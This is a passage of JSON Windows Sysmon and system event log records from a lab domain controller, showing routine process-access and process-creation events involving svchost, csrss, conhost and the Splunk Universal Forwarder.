11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001048C20200}\r\nSourceProcessId: 3696\r\nSourceThreadId: 3716\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00104FC40200}\r\nTargetProcessId: 3732\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001048C20200}","SourceProcessId":"3696","SourceThreadId":"3716","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00104FC40200}","TargetProcessId":"3732","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7026,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76805,"ProcessID":852,"ThreadID":856,"Channel":"System","Message":"The following boot-start or system-start driver(s) did not load: \r\ncdrom\r\ndam","param1":"\r\ncdrom\r\ndam","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nTargetProcessId: 3756\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","TargetProcessId":"3756","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.168\r\nProcessGuid: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nProcessId: 3788\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.168","ProcessGuid":"{90617006-3FE5-5F2D-0000-0010ACC90200}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating 